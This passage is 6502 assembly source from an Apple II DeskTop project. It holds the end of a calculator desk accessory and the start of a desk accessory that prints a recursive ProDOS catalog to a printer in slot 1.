;;; Miscellaneous param blocks
.params background_box_params
left: .word 1
top: .word 0
right: .word 259
bottom: .word 96
.endparams
background_pattern:
.byte $77,$DD,$77,$DD,$77,$DD,$77,$DD
black_pattern:
.res 8, $00
white_pattern:
.res 8, $FF
.params settextbg_params
backcolor: .byte $7F
.endparams
kDisplayLeft = 10 + kBasicOffset
kDisplayTop = 5
kDisplayRight = 120 + kBasicOffset
kDisplayBottom = 17
.params frame_display_params
left: .word kDisplayLeft
top: .word kDisplayTop
width: .word kDisplayRight
height: .word kDisplayBottom
.endparams
.params clear_display_params
left: .word kDisplayLeft+1
top: .word kDisplayTop+1
width: .word kDisplayRight-1
height: .word kDisplayBottom-1
.endparams
;; For drawing 1-character strings (button labels)
.params drawtext_params_label
.addr label
.byte 1
.endparams
label: .byte 0 ; modified with char to draw
.params drawtext_params1
textptr: .addr text_buffer1
textlen: .byte 15
.endparams
kTextBufferSize = 14
text_buffer1:
.res kTextBufferSize+2, 0
.params drawtext_params2
textptr: .addr text_buffer2
textlen: .byte 15
.endparams
text_buffer2:
.res kTextBufferSize+2, 0
spaces_string:
PASCAL_STRING " "
error_string:
PASCAL_STRING res_string_error_string
.params textwidth_params
textptr: .addr text_buffer1
textlen: .byte 15
result: .word 0
.endparams
kDAWindowId = $80
.params closewindow_params
window_id: .byte kDAWindowId
.endparams
.params text_pos_params3
left: .word 0
base: .word 16
.endparams
.params text_pos_params2
left: .word 15 + kBasicOffset
base: .word 16
.endparams
.params error_pos
left: .word 69 + kBasicOffset
base: .word 16
.endparams
farg: .byte $00,$00,$00,$00,$00,$00
grafport: .tag MGTK::GrafPort
penmode_normal: .byte MGTK::pencopy
penmode_xor: .byte MGTK::notpenXOR
kDAWidth = 130 + kBasicOffset
kDAHeight = 96
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr window_title
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 0
hthumbpos: .byte 0
vthumbmax: .byte 0
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
top := viewloc::ycoord
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte 0
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
openwindow_params_top := winfo::top
window_title:
PASCAL_STRING res_string_window_title
;;; ==================================================
.macro ROM_CALL addr
jsr ROMCall
.addr addr
.endmacro
;;; ==================================================
;;; Cached settings
intl_deci_sep: .byte 0
;;; ==================================================
;;; DA Init
init:
;; Cache settings
ldx #DeskTopSettings::intl_deci_sep
jsr ReadSetting
sta intl_deci_sep
sta btn_dec::key
sta btn_dec::label+1
MGTK_CALL MGTK::OpenWindow, winfo
MGTK_CALL MGTK::InitPort, grafport
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::FlushEvents
jsr ResetBuffer2
jsr DrawContent
jsr ResetBuffersAndDisplay
copy8 #Function::equals, calc_op ; last kOperation
lda #0 ; clear registers
sta calc_p
sta calc_d
sta calc_e
sta calc_n
sta calc_g
sta calc_f
sta calc_l
.proc CopyToB1
ldx #sizeof_chrget_routine + 4 ; should be just + 1 ?
DO
copy8 chrget_routine-1,x, CHRGET-1,x
dex
WHILE_NOT_ZERO
.endproc ; CopyToB1
lda #0
sta ERRFLG ; Turn off errors
sta SHIFT_SIGN_EXT ; Zero before using FP ops
copy16 #ErrorHook, COUT_HOOK ; set up FP error handler
lda #1
ROM_CALL FLOAT
ldxy #farg
ROM_CALL ROUND
lda #0 ; set FAC to 0
ROM_CALL FLOAT
ROM_CALL FADD
ROM_CALL FOUT
lda #$07
ROM_CALL FMULT
lda #$00
ROM_CALL FLOAT
ldxy #farg
ROM_CALL ROUND
tsx
stx saved_stack
lda #Function::equals
jsr ProcessFunction
lda #Function::clear
jsr ProcessFunction
;;; ============================================================
;;; Input Loop
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
IF_A_EQ #MGTK::EventKind::button_down
jsr OnClick
jmp InputLoop
END_IF
cmp #MGTK::EventKind::key_down
bne InputLoop
jsr OnKeyPress
jmp InputLoop
.endproc ; InputLoop
;;; ============================================================
;;; On Click
.proc OnClick
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::which_area
cmp #MGTK::Area::content
bcc ret
lda findwindow_params::window_id
cmp #kDAWindowId ; This window?
bne ret
lda findwindow_params::which_area
IF_A_EQ #MGTK::Area::content ; Content area?
jsr MapClickToFunction
beq ret
jmp ProcessFunction
END_IF
IF_A_EQ #MGTK::Area::close_box ; Close box?
MGTK_CALL MGTK::TrackGoAway, trackgoaway_params
lda trackgoaway_params::goaway
beq ret
pla ; pop OnClick
pla
jmp ExitDA
END_IF
IF_A_EQ #MGTK::Area::dragbar ; Title bar?
copy8 #kDAWindowId, dragwindow_params::window_id
MGTK_CALL MGTK::DragWindow, dragwindow_params
bit dragwindow_params::moved
bpl ret
;; Redraw DeskTop's windows and icons
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
jsr DrawContent
END_IF
ret: rts
.endproc ; OnClick
;;; ============================================================
;;; On Key Press
.proc OnKeyPress
lda event_params::key
jsr ToUpperCase
ldx event_params::modifiers
IF_NOT_ZERO
IF_A_EQ #kShortcutCloseWindow
pla ; pop OnKeyPress
pla
jmp ExitDA
END_IF
rts
END_IF
IF_A_EQ #'.' ; allow either
lda intl_deci_sep
END_IF
IF_A_EQ #CHAR_ESCAPE
lda calc_p
IF_ZERO ; empty state?
lda calc_l
IF_ZERO
pla ; pop OnKeyPress
pla
jmp ExitDA
END_IF
END_IF
lda #Function::clear
jmp ProcessFunction
END_IF
IF_A_EQ #CHAR_DELETE
ldy calc_l
beq ret
IF_Y_EQ #1
jsr ResetBuffer1AndState
jmp DisplayBuffer1
END_IF
dec calc_l
ldx #0
lda text_buffer1 + kTextBufferSize
IF_A_EQ intl_deci_sep
stx calc_d
END_IF
IF_A_EQ #'E'
stx calc_e
END_IF
IF_A_EQ #'-'
stx calc_n
END_IF
ldx #kTextBufferSize-1
DO
lda text_buffer1,x
sta text_buffer1+1,x
sta text_buffer2+1,x
dex
dey
WHILE_NOT_ZERO
lda #' '
sta text_buffer1+1,x
sta text_buffer2+1,x
jmp DisplayBuffer1
END_IF
IF_A_EQ #CHAR_CLEAR
lda #Function::clear
jmp ProcessFunction
END_IF
IF_A_EQ #CHAR_RETURN
lda #Function::equals
jmp ProcessFunction
END_IF
jsr MapKeyToFunction
jne ProcessFunction
ret: rts
.endproc ; OnKeyPress
;;; ============================================================
;;; Try to map a click to a button
;;; If a button was clicked, carry is set and accum has key char
.proc MapClickToFunction
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
ptr := $FA
copy16 #first_button, ptr
loop: ldy #0
lda (ptr),y
beq ret
add16_8 ptr, #(btn_c::port - btn_c), rect
MGTK_CALL MGTK::InRect, 0, rect
beq next
;; Return the function...
ldy #(btn_c::function - btn_c)
lda (ptr),y
pha
;; ...but first flash the button
ldax rect
jsr DepressButton
beq ignore
pla
ret: rts
ignore: pla
lda #0
rts
next: add16_8 ptr, #.sizeof(btn_c)
jmp loop
.endproc ; MapClickToFunction
;;; ============================================================
.proc MapKeyToFunction
sta key
;; Buttons
ptr := $FA
copy16 #first_button, ptr
loop: ldy #0
lda (ptr),y
beq ret
ldy #(btn_c::key - btn_c)
lda (ptr),y
key := *+1
cmp #SELF_MODIFIED_BYTE
bne next
;; Return the function...
ldy #(btn_c::function - btn_c)
lda (ptr),y
pha
;; ...but first flash the button
add16_8 ptr, #btn_c::port - btn_c
ldax ptr
jsr DepressButton
pla
ret: rts
next: add16_8 ptr, #.sizeof(btn_c)
jmp loop
.endproc ; MapKeyToFunction
;;; ============================================================
;;; Inputs: A = Function enum member
.proc ProcessFunction
IF_A_EQ #Function::clear
lda #0
ROM_CALL FLOAT
ldxy #farg
ROM_CALL ROUND
copy8 #Function::equals, calc_op
lda #0
sta calc_p
sta calc_l
sta calc_d
sta calc_e
sta calc_n
jmp ResetBuffersAndDisplay
END_IF
IF_A_EQ #Function::exp
ldy calc_e
bne ret2
ldy calc_l
IF_ZERO
inc calc_l
lda #'1'
sta text_buffer1 + kTextBufferSize
sta text_buffer2 + kTextBufferSize
END_IF
copy8 #'E', calc_e
jmp Insert
ret2: rts
END_IF
IF_A_EQ #Function::op_subtract
lda calc_e ; negate vs. subtract
IF_NOT_ZERO
lda calc_n
IF_ZERO
SET_BIT7_FLAG calc_n
pla
pha
jmp Insert
END_IF
END_IF
lda #Function::op_subtract
jmp DoOp
END_IF
IF_A_EQ #Function::decimal
lda calc_d
ora calc_e
bne ret3
lda calc_l
IF_ZERO
inc calc_l
END_IF
copy8 intl_deci_sep, calc_d
jmp Insert
ret3: rts
END_IF
cmp #Function::digit0
bcc DoOp
cmp #Function::digit9+1
bcs DoOp
.assert Function::digit0 = '0', error, "Enum values"
Insert: SET_BIT7_FLAG calc_g
ldy calc_l
IF_ZERO
pha
jsr ResetBuffer2
pla
IF_A_EQ #'0'
jmp DisplayBuffer1
END_IF
END_IF
SET_BIT7_FLAG calc_p
cpy #10
bcs ret
pha
ldy calc_l
beq empty
lda #15
sec
sbc calc_l
tax
DO
lda text_buffer1,x
sta text_buffer1-1,x
sta text_buffer2-1,x
inx
dey
WHILE_NOT_ZERO
empty: inc calc_l
pla
sta text_buffer1 + kTextBufferSize
sta text_buffer2 + kTextBufferSize
jmp DisplayBuffer1
ret: rts
.endproc ; ProcessFunction
;;; ============================================================
;;; Inputs: A = operation invoked
.proc DoOp
;; Pending input we need to parse?
pha
lda calc_g
IF_NOT_ZERO
;; Parse `text_buffer1` into FAC.
;; Copy string to `FBUFFR`, mapping decimal char.
ldx #kTextBufferSize
DO
lda text_buffer1,x
IF_A_EQ intl_deci_sep
lda #'.'
END_IF
sta FBUFFR,x
dex
WHILE_POS
copy16 #FBUFFR, TXTPTR
jsr CHRGET
ROM_CALL FIN
END_IF
pla
;; --------------------------------------------------
;; Function? These modify the FAC in place
IF_A_EQ #Function::fn_sin
jsr DegToRad
ROM_CALL SIN
jmp PostFunc
END_IF
IF_A_EQ #Function::fn_cos
jsr DegToRad
ROM_CALL COS
jmp PostFunc
END_IF
IF_A_EQ #Function::fn_tan
jsr DegToRad
ROM_CALL TAN
jmp PostFunc
END_IF
IF_A_EQ #Function::fn_asin
;; ASIN(x) = ATN(X/SQR(-X*X+1))
ROM_CALL FAC_TO_ARG_R ; ARG = X
jsr PushARG
jsr FixSGNCPR
ROM_CALL FMULTT ; FAC = X * X
ROM_CALL NEGOP ; FAC = -X*X
lday #CON_ONE
ROM_CALL FADD ; FAC = -X*X+1
ROM_CALL SQR ; FAC = SQR(-X*X+1)
jsr PopARG ; ARG = X
jsr FixSGNCPR
ROM_CALL FDIVT ; FAC = X/SQR(-X*X+1)
ROM_CALL ATN ; FAC = ATN(X/SQR(-X*X+1))
jsr RadToDeg
jmp PostFunc
END_IF
IF_A_EQ #Function::fn_acos
;; ACOS(x) = -ATN(X/SQR(-X*X+l))+1.5708
ROM_CALL FAC_TO_ARG_R ; ARG = X
jsr PushARG
jsr FixSGNCPR
ROM_CALL FMULTT ; FAC = X * X
ROM_CALL NEGOP ; FAC = -X*X
lday #CON_ONE
ROM_CALL FADD ; FAC = -X*X+1
ROM_CALL SQR ; FAC = SQR(-X*X+1)
jsr PopARG ; ARG = X
jsr FixSGNCPR
ROM_CALL FDIVT ; FAC = X/SQR(-X*X+1)
ROM_CALL ATN ; FAC = ATN(X/SQR(-X*X+1))
ROM_CALL NEGOP ; FAC = -ATN(X/SQR(-X*X+1))
lday #CON_HALF_PI ;
ROM_CALL FADD ; FAC = -ATN(X/SQR(-X*X+1))+1.5708
jsr RadToDeg
jmp PostFunc
END_IF
IF_A_EQ #Function::fn_atan
ROM_CALL ATN
jsr RadToDeg
jmp PostFunc
END_IF
IF_A_EQ #Function::fn_sqrt
ROM_CALL SQR
jmp PostFunc
END_IF
IF_A_EQ #Function::fn_neg
ROM_CALL NEGOP
jmp PostFunc
END_IF
IF_A_EQ #Function::fn_ln
ROM_CALL LOG
jmp PostFunc
END_IF
IF_A_EQ #Function::fn_exp
ROM_CALL EXP
jmp PostOp
END_IF
IF_A_EQ #Function::fn_inv
lday #CON_ONE
ROM_CALL FDIV
jmp PostFunc
END_IF
;; --------------------------------------------------
pha
;; Look at last operation
lda calc_op
IF_A_EQ #Function::equals
lda calc_g ; last input was a digit insertion or func?
ora calc_f
bne do_op ; reparsed above, proceed
lda #0 ; otherwise, reset to 0
ROM_CALL FLOAT
jmp do_op
END_IF
;; Was last an input or function?
lda calc_g
ora calc_f
IF_ZERO
;; No, so last was an op, we're overriding it.
;; e.g.: 2 * +
pla
sta calc_op
jmp ResetBuffer1AndState
END_IF
;; --------------------------------------------------
;; Operators
do_op:
pla ; A = current op
ldx calc_op ; X = previous op
sta calc_op ; save for later
lday #farg ; A,Y = previous intermediate result
IF_X_EQ #Function::op_add
ROM_CALL FADD ; FAC = (Y,A) + FAC
jmp PostOp
END_IF
IF_X_EQ #Function::op_subtract
ROM_CALL FSUB ; FAC = (Y,A) - FAC
jmp PostOp
END_IF
IF_X_EQ #Function::op_multiply
ROM_CALL FMULT ; FAC = (Y,A) * FAC
jmp PostOp
END_IF
IF_X_EQ #Function::op_divide
ROM_CALL FDIV ; FAC = (Y,A) / FAC
jmp PostOp
END_IF
IF_X_EQ #Function::op_power
ROM_CALL LOAD_ARG ; ARG = (Y,A)
ROM_CALL FPWRT ; FAC = ARG ^ FAC
jmp PostOp
END_IF
IF_X_EQ #Function::equals
ldy calc_f
IF_ZERO
ldy calc_g
IF_ZERO
jmp ResetBuffer1AndState
END_IF
END_IF
END_IF
FALL_THROUGH_TO PostOp
.endproc ; DoOp
;;; ============================================================
.proc PostOp
copy8 #0, calc_f
ldxy #farg ; save intermediate result
ROM_CALL ROUND ; (Y,A) = ROUND(FAC)
ep2: jsr PushFAC
ROM_CALL FOUT ; output as null-terminated string to FBUFFR
jsr PopFAC
ldy #0 ; count the size
DO
lda FBUFFR,y
BREAK_IF_ZERO
iny
WHILE_NOT_ZERO
ldx #kTextBufferSize ; copy to text buffers
DO
lda FBUFFR-1,y
IF_A_EQ #'.' ; map decimal character
lda intl_deci_sep
END_IF
sta text_buffer1,x
sta text_buffer2,x
dex
dey
WHILE_NOT_ZERO
;; Add leading zero if starting with decimal
IF_A_EQ #'-'
;; skip leading '-' temporarily
inx
jsr MaybeAddLeadingZero
lda #'-'
sta text_buffer1,x
sta text_buffer2,x
dex
ELSE
jsr MaybeAddLeadingZero
END_IF
cpx #0 ; pad out with spaces if needed
bmi end
pad: lda #' '
sta text_buffer1,x
sta text_buffer2,x
dex
bpl pad
end: jsr DisplayBuffer1
FALL_THROUGH_TO ResetBuffer1AndState
.endproc ; PostOp
.proc ResetBuffer1AndState
jsr ResetBuffer1
lda #0
sta calc_l
sta calc_d
sta calc_e
sta calc_n
sta calc_g
sta calc_f
rts
.endproc ; ResetBuffer1AndState
.proc MaybeAddLeadingZero
lda text_buffer1+1,x
IF_A_EQ intl_deci_sep
lda #'0'
sta text_buffer1,x
sta text_buffer2,x
dex
END_IF
rts
.endproc ; MaybeAddLeadingZero
;;; After a function (e.g. SIN, COS, etc) is done, we must leave
;;; the FAC alone but we do need to update the display and set
;;; a flag indicating we shouldn't override the pending op.
.proc PostFunc
jsr PostOp::ep2
SET_BIT7_FLAG calc_f
rts
.endproc ; PostFunc
;;; ============================================================
kRegSize = 6
.proc PushFAC
pla
sta lo
pla
sta hi
PUSH_BYTES kRegSize, FAC
hi := *+1
lda #SELF_MODIFIED_BYTE
pha
lo := *+1
lda #SELF_MODIFIED_BYTE
pha
rts
.endproc ; PushFAC
.proc PopFAC
pla
sta lo
pla
sta hi
POP_BYTES kRegSize, FAC
hi := *+1
lda #SELF_MODIFIED_BYTE
pha
lo := *+1
lda #SELF_MODIFIED_BYTE
pha
rts
.endproc ; PopFAC
.proc PushARG
pla
sta lo
pla
sta hi
PUSH_BYTES kRegSize, ARG
hi := *+1
lda #SELF_MODIFIED_BYTE
pha
lo := *+1
lda #SELF_MODIFIED_BYTE
pha
rts
.endproc ; PushARG
.proc PopARG
pla
sta lo
pla
sta hi
POP_BYTES kRegSize, ARG
hi := *+1
lda #SELF_MODIFIED_BYTE
pha
lo := *+1
lda #SELF_MODIFIED_BYTE
pha
rts
.endproc ; PopARG
;;; ============================================================
;;; Convert FAC from degrees to radians
.proc DegToRad
;; R = D / 90 * (PI/2)
ROM_CALL FAC_TO_ARG_R ; ARG = D
lda #90
ROM_CALL FLOAT ; FAC = 90
jsr FixSGNCPR
ROM_CALL FDIVT ; FAC = D / 90
lday #CON_HALF_PI
ROM_CALL FMULT ; FAC = (D / 90) * (PI/2)
rts
.endproc ; DegToRad
;;; Convert FAC from radians to degrees
.proc RadToDeg
;; D = R * 90 / (PI/2)
ROM_CALL FAC_TO_ARG_R ; ARG = R
lda #90
ROM_CALL FLOAT ; FAC = 90
jsr FixSGNCPR
ROM_CALL FMULTT ; FAC = R * 90
ROM_CALL FAC_TO_ARG_R ; ARG = R * 90
lday #CON_HALF_PI
ROM_CALL LOAD_FAC ; FAC = PI/2
jsr FixSGNCPR
ROM_CALL FDIVT ; FAC = (R * 90) / (PI/2)
rts
.endproc ; RadToDeg
;;; Needed before FMULTT / FDIVT
.proc FixSGNCPR
pha
lda FAC_SIGN
eor ARG_SIGN
sta SGNCPR ; compared sign for mul/div
pla
rts
.endproc ; FixSGNCPR
;;; ============================================================
.proc DepressButton
stax invert_addr
stax inrect_params
MGTK_CALL MGTK::GetWinPort, getwinport_params
RTS_IF_A_EQ #MGTK::Error::window_obscured
MGTK_CALL MGTK::SetPort, grafport
button_state := $FC
MGTK_CALL MGTK::SetPattern, black_pattern
MGTK_CALL MGTK::SetPenMode, penmode_xor
SET_BIT7_FLAG button_state
invert: jsr invert_rect
check_button:
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
cmp #MGTK::EventKind::drag ; Button down?
bne done ; Nope, done immediately
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, 0, inrect_params
bne inside
lda button_state ; outside, not down
beq check_button ; so keep looping
lda #0 ; outside, was down
sta button_state ; so set up
beq invert ; and show it
inside: lda button_state ; inside, and down
bne check_button ; so keep looking
SET_BIT7_FLAG button_state ; inside, was not down so set down
jmp invert ; and show it
done: lda button_state ; high bit set if button down
pha
IF_NOT_ZERO
jsr invert_rect ; Back to normal
END_IF
MGTK_CALL MGTK::SetPenMode, penmode_normal ; Normal draw mode??
pla
rts
invert_rect:
MGTK_CALL MGTK::PaintRect, 0, invert_addr
rts
.endproc ; DepressButton
;;; ============================================================
;;; Value Display
.proc ResetBuffer1
ldy #kTextBufferSize
DO
copy8 #' ', text_buffer1-1,y
dey
WHILE_NOT_ZERO
copy8 #'0', text_buffer1 + kTextBufferSize
rts
.endproc ; ResetBuffer1
.proc ResetBuffer2
ldy #kTextBufferSize
DO
copy8 #' ', text_buffer2-1,y
dey
WHILE_NOT_ZERO
copy8 #'0', text_buffer2 + kTextBufferSize
rts
.endproc ; ResetBuffer2
.proc ResetBuffersAndDisplay
jsr ResetBuffer1
jsr ResetBuffer2
FALL_THROUGH_TO DisplayBuffer1
.endproc ; ResetBuffersAndDisplay
.proc DisplayBuffer1
MGTK_CALL MGTK::GetWinPort, getwinport_params
cmp #MGTK::Error::window_obscured
beq end
MGTK_CALL MGTK::SetPort, grafport
ldxy #text_buffer1
jsr PreDisplayBuffer
MGTK_CALL MGTK::DrawText, drawtext_params1
end: rts
.endproc ; DisplayBuffer1
.proc DisplayBuffer2
MGTK_CALL MGTK::GetWinPort, getwinport_params
cmp #MGTK::Error::window_obscured
beq end
MGTK_CALL MGTK::SetPort, grafport
ldxy #text_buffer2
jsr PreDisplayBuffer
MGTK_CALL MGTK::DrawText, drawtext_params2
end: rts
.endproc ; DisplayBuffer2
.proc PreDisplayBuffer
stx textwidth_params::textptr ; text buffer address in x,y
sty textwidth_params::textptr+1
MGTK_CALL MGTK::TextWidth, textwidth_params
lda #kDisplayRight-15 ; ???
sec
sbc textwidth_params::result
sta text_pos_params3::left
MGTK_CALL MGTK::MoveTo, text_pos_params2 ; clear with spaces
param_call DrawString, spaces_string
MGTK_CALL MGTK::MoveTo, text_pos_params3 ; set up for display
rts
.endproc ; PreDisplayBuffer
;;; ============================================================
;;; Draw the window contents (background, buttons)
.proc DrawContent
MGTK_CALL MGTK::GetWinPort, getwinport_params
RTS_IF_A_EQ #MGTK::Error::window_obscured
MGTK_CALL MGTK::SetPort, grafport
;; Frame
MGTK_CALL MGTK::HideCursor
MGTK_CALL MGTK::SetPattern, background_pattern
MGTK_CALL MGTK::PaintRect, background_box_params
MGTK_CALL MGTK::SetPattern, black_pattern
MGTK_CALL MGTK::FrameRect, frame_display_params
MGTK_CALL MGTK::SetPattern, white_pattern
MGTK_CALL MGTK::PaintRect, clear_display_params
MGTK_CALL MGTK::SetTextBG, settextbg_params
;; Buttons
ptr := $FA
copy16 #first_button, ptr
loop: ldy #0
lda (ptr),y
beq finish
add16_8 ptr, #(btn_c::viewloc - btn_c), bitmap_addr
add16_8 ptr, #(btn_c::pos - btn_c), text_addr
add16_8 ptr, #(btn_c::label - btn_c), label
MGTK_CALL MGTK::PaintBitsHC, 0, bitmap_addr ; draw shadowed rect
MGTK_CALL MGTK::MoveTo, 0, text_addr ; button label pos
param_call_indirect DrawString, label
add16_8 ptr, #.sizeof(btn_c)
jmp loop
finish: jsr DisplayBuffer2
MGTK_CALL MGTK::ShowCursor
rts
label: .addr 0
.endproc ; DrawContent
;;; ============================================================
;; Traps FP error via call to $36 from MON.COUT, resets stack
;; and returns to the input loop.
.proc ErrorHook
bit LCBANK1
bit LCBANK1
jsr ResetBuffersAndDisplay
MGTK_CALL MGTK::GetWinPort, getwinport_params
IF_A_NE #MGTK::Error::window_obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::MoveTo, error_pos
param_call DrawString, error_string
END_IF
jsr ResetBuffer1AndState
copy8 #Function::equals, calc_op
ldx saved_stack
txs
jmp InputLoop
.endproc ; ErrorHook
PROC_AT chrget_routine, ::CHRGET
dummy_addr := $EA60
DO
inc16 TXTPTR
.assert * + 1 = TXTPTR, error, "misaligned routine"
lda dummy_addr ; this ends up being aligned on TXTPTR
cmp #'9'+1 ; after digits?
bcs end
WHILE_A_EQ #' ' ; space? keep going
sec
sbc #'0' ; convert to digit...
sec
sbc #$D0 ; carry set if successful
end: rts
END_PROC_AT
sizeof_chrget_routine = .sizeof(chrget_routine)
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/drawstring.s"
.include "../lib/rom_call.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::InitDA
rts
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 27,729
|
src/desk.acc/print.catalog.s
|
;;; ============================================================
;;; PRINT.CATALOG - Desk Accessory
;;;
;;; Prints a recursive catalog for the current window (or all
;;; volumes) to a printer in Slot 1.
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "print.catalog.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-------------+ +-------------+
;;; | IO Buffer | | |
;;; $1C00 +-------------+ | |
;;; | Dir Block | | |
;;; $1A00 +-------------+ | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | code | | |
;;; $800 +-------------+ +-------------+
;;; : : : :
;;;
;;; ============================================================
DA_HEADER
DA_START_MAIN_SEGMENT
;;; ============================================================
block_buffer := $1A00
SLOT1 := $C100
.scope
ptr := $06
;; Try to verify a printer card in slot 1
param_call CheckSlot1Signature, sigtable_printer
IF_ZC
param_call CheckSlot1Signature, sigtable_ssc
IF_ZC
param_call CheckSlot1Signature, sigtable_parallel
IF_ZC
lda #ERR_DEVICE_NOT_CONNECTED
jmp JUMP_TABLE_SHOW_ALERT
END_IF
END_IF
END_IF
;; Get top DeskTop window (if any) and find its path
JUMP_TABLE_MGTK_CALL MGTK::FrontWindow, ptr
lda ptr ; any window open?
beq no_windows
cmp #kMaxDeskTopWindows+1
bcs no_windows
;; --------------------------------------------------
;; Get path for window
jsr JUMP_TABLE_GET_WIN_PATH
stax ptr
;; Copy path to our path buffer
ldy #0
lda (ptr),y
tay
DO
copy8 (ptr),y, searchPath,y
dey
WHILE_POS
;; Append '/' needed by algorithm
ldy searchPath
iny
copy8 #'/', searchPath,y
sty searchPath
CLEAR_BIT7_FLAG vol_flag
jmp continue
;; --------------------------------------------------
;; Search all volumes
no_windows:
;; Signal this mode with a path of just "/"
copy8 #1, searchPath
copy8 #'/', searchPath+1
SET_BIT7_FLAG vol_flag
;; --------------------------------------------------
continue:
JUMP_TABLE_MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::watch
;; SSC operations trash the text page (if 80 col firmware active?)
jsr SaveTextPage
ldy #SSC::PInit
jsr GoCard
;; Init IW2 settings
ldx #0
DO
lda iw2_init,x
jsr COut
inx
WHILE_X_NE #kLenIW2Init
;; Recurse and print
jsr PrintCatalog
jsr RestoreTextPage
JUMP_TABLE_MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
rts
PrintCatalog:
;; Header
ldx #0
DO
lda str_header+1,x
jsr COut
inx
WHILE_X_NE str_header
jsr CROut
;; If we're doing multiple volumes, get started
bit vol_flag
IF_NS
jsr InitVolumes
jsr NextVolume
bcs finish
END_IF
;; Show the current path
next:
ldx #0
DO
lda searchPath+1,x
jsr COut
inx
WHILE_X_LT searchPath
jsr CROut
copy8 #1, indent
;; And invoke it!
jsr ::RecursiveCatalog::Start
;; If we're doing multiple volumes, do the next one
bit vol_flag
IF_NS
jsr NextVolume
bcc next
END_IF
finish: jmp CROut
.endscope
ch: .byte 0 ; cursor horizontal position
vol_flag:
.byte 0 ; high bit set if we're iterating volumes
indent:
.byte 0
str_header:
PASCAL_STRING .sprintf("%28s%6s%6s %s", res_string_col_name, res_string_col_type, res_string_col_blocks, res_string_col_modified)
kColType = 30 ; Left aligned
kTypeWidth = 3
kColBlocks = 41 ; Right aligned
kBlocksWidth = 6
kColMod = 49
iw2_init:
.byte CHAR_ESCAPE, 'Z', $80, $00 ; disable automatic LF after CR
kLenIW2Init = * - iw2_init
;;; ============================================================
;;; Input: A,X = pointer to table (num, offset, mask, value, offset, mask, value, ...)
;;; Output: Z=1 on match, Z=0 on no match
.proc CheckSlot1Signature
ptr := $06
stax ptr
ldy #0
copy8 (ptr),y, count ; first byte in table is number of tuples
DO
iny
lda (ptr),y
tax
lda SLOT1,x
iny
and (ptr),y
iny
BREAK_IF_A_NE (ptr),y
dec count
WHILE_NOT_ZERO
rts
count: .byte 0
.endproc ; CheckSlot1Signature
;;; Format: count, offset1, mask1, value1, offset2, mask2, value2, ...
sigtable_ssc: .byte 4, $05, $FF, $38, $07, $FF, $18, $0B, $FF, $01, $0C, $FF, $31
sigtable_printer: .byte 4, $05, $FF, $38, $07, $FF, $18, $0B, $FF, $01, $0C, $F0, $10
sigtable_parallel: .byte 2, $05, $FF, $48, $07, $FF, $48
;;; ============================================================
;;;
;;;******************************************************
;;;
;;; ProDOS command parameter blocks
;;;
DEFINE_OPEN_PARAMS OpenParms, 0, DA_IO_BUFFER
DEFINE_READWRITE_PARAMS ReadParms, block_buffer, 512
DEFINE_CLOSE_PARAMS CloseParms
DEFINE_SET_MARK_PARAMS SetMParms, 0
searchPath: .res ::kPathBufferSize
nameBuffer: .res ::kPathBufferSize ; space for directory name
;;;******************************************************
.scope RecursiveCatalog
;;;******************************************************
;;; ProDOS #17
;;; Recursive ProDOS Catalog Routine
;;;
;;; Revised by Dave Lyons, Keith Rollin, & Matt Deatherage (November 1989)
;;; Written by Greg Seitz (December 1983)
;;;
;;; From https://web.archive.org/web/2007/http://web.pdx.edu/~heiss/technotes/pdos/tn.pdos.17.html
;;;
;;; * Converted to ca65 syntax
;;; * Using A2D headers/macros
;;; * Use procs
;;; * Prevent excessive recursion
;;;******************************************************
;;;******************************************************
;;;
;;; Recursive ProDOS Catalog Routine
;;;
;;; by: Greg Seitz 12/83
;;; Pete McDonald 1/86
;;; Keith Rollin 7/88
;;; Dave Lyons 11/89
;;;
;;; This program shows the latest "Apple Approved"
;;; method for reading a directory under ProDOS 8.
;;; READ_BLOCK is not used, since it is incompatible
;;; with AppleShare file servers.
;;;
